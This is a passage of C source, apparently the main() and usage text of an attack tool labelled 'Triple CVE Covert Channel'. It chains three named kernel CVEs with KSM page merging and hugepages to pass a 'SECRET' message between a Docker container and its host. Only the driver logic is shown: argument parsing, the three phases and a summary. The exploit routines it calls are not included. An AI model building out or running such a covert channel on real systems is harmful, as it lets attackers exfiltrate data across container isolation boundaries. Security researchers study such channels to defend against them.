printf("╚════════════════════════════════════════════════════════════════╝\n\n"); printf("Usage: %s [options]\n\n", prog); printf("Options:\n"); printf(" -i Initiator mode (send first)\n"); printf(" -r Responder mode (receive first)\n"); printf(" -p IP Peer IP address\n"); printf(" -m MSG Message to send\n"); printf(" -v Verbose output\n"); printf(" -h Show help\n"); printf("\nExample (Host + Docker):\n"); printf(" Docker: sudo %s -r -p 172.17.0.1 -v\n", prog); printf(" Host: sudo %s -i -p 172.17.0.2 -m 'SECRET' -v\n", prog); } int main(int argc, char *argv[]) { int mode = 0; /* 0=none, 1=initiator, 2=responder */ char *peer_ip = NULL; char *message = NULL; int verbose = 0; int opt; while ((opt = getopt(argc, argv, "irp:m:vh")) != -1) { switch (opt) { case 'i': mode = 1; break; case 'r': mode = 2; break; case 'p': peer_ip = optarg; break; case 'm': message = optarg; break; case 'v': verbose = 1; break; default: print_usage(argv[0]); return 0; } } if (mode == 0 || !peer_ip) { print_usage(argv[0]); return 1; } signal(SIGINT, sig_handler); srand(time(NULL) ^ getpid()); printf("╔════════════════════════════════════════════════════════════════╗\n"); printf("║ Triple CVE Covert Channel ║\n"); printf("║ Trigger: CVE-2023-1206 | Key: CVE-2025-40040 | Data: CVE-2024-49882 ║\n"); printf("╚════════════════════════════════════════════════════════════════╝\n\n"); /* Initialize */ channel_ctx_t ctx; memset(&ctx, 0, sizeof(ctx)); ctx.is_initiator = (mode == 1); strncpy(ctx.peer_ip, peer_ip, sizeof(ctx.peer_ip) - 1); ksm_enable(); if (trigger_init(&ctx.trigger, peer_ip, ctx.is_initiator) < 0) { fprintf(stderr, "Failed to init trigger\n"); return 1; } if (ksm_init(&ctx.ksm) < 0) { fprintf(stderr, "Failed to init KSM\n"); return 1; } hugepage_init(&ctx.hugepage); /* Phase 1: Trigger */ if (phase1_trigger(&ctx) < 0) { fprintf(stderr, "Trigger phase failed\n"); goto cleanup; } /* Phase 2: Key Agreement */ if (phase2_key_agreement(&ctx, verbose) < 0) { fprintf(stderr, "Key agreement failed\n"); goto cleanup; } /* Phase 3: Message Transfer */ if (ctx.is_initiator && message) { /* Send message */ if (phase3_send_message(&ctx, message) < 0) { fprintf(stderr, "Failed to send message\n"); goto cleanup; } /* Wait for reply */ char reply[MAX_MESSAGE]; if (phase3_receive_message(&ctx, reply, sizeof(reply)) == 0) { printf("\n════════════════════════════════════════\n"); printf("RECEIVED REPLY: %s\n", reply); printf("════════════════════════════════════════\n"); } } else { /* Receive message */ char received[MAX_MESSAGE]; if (phase3_receive_message(&ctx, received, sizeof(received)) == 0) { printf("\n════════════════════════════════════════\n"); printf("RECEIVED MESSAGE: %s\n", received); printf("════════════════════════════════════════\n"); /* Send reply */ char reply[MAX_MESSAGE]; snprintf(reply, sizeof(reply), "ACK: %s", received); phase3_send_message(&ctx, reply); } } /* Summary */ printf("\n╔════════════════════════════════════════╗\n"); printf("║ SUMMARY ║\n"); printf("╚════════════════════════════════════════╝\n"); printf(" Messages sent: %d\n", ctx.messages_sent); printf(" Messages received: %d\n", ctx.messages_received); printf(" KSM merge rounds: %d/%d\n", ctx.ksm_merged_count, KEY_BITS); cleanup: trigger_cleanup(&ctx.trigger); ksm_cleanup(&ctx.ksm); hugepage_cleanup(&ctx.hugepage); return 0; }